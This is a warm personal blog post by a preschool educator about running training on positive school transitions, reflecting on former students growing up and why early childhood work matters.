One of my favourite training sessions to deliver is on Positive School Transitions, it’s one of those things that gets me all worked up and talking with my hands! At the end of the session I often read out a beautiful poem from Let The Children Play and it never fails to get me a little teary… in fact, there may ~~or may not~~ have been several occasions where I have bawled like a baby! Why does it have this effect on me? I think it is that little reminder of just how fortunate we are to spend our days with these small humans, supporting them to become amazing citizens of the world. It conjures up a feeling in me that the time spent playing and laughing and hugging and listening and daydreaming and wondering and inspiring is time well spent. These children leave us knowing that they are loved and that they are competent. Sometimes they don’t want to leave (we had one little boy who cried his heart out, causing us educators to do the same, because he loved preschool so much and never wanted to leave) but when they do, we can be proud of who they are, of their love of learning.

When you run into a parent who tells you their child is now a teenager, or who shows you school formal pictures, it is amazing. When their face lights up as they tell you about their child and how they have grown, there is a definite sense of pride and gratitude. When they tell you that their child still talks about their preschool days with fondness, your heart swells. When they come to work for you (yes, that has seriously happened to us – we have been delighted to have Macayla working with us over the past few months after having her at preschool when she was 4, although it may make us feel a tad old!!) you marvel at what competent, knowledgeable adults they have become.

What we do matters.

So, today as you mix paint for eager little hands to paint with or read the same story for the thousandth time or rock a baby off to sleep, remember that it all matters. These moments matter.

Have you seen our brand new resource??

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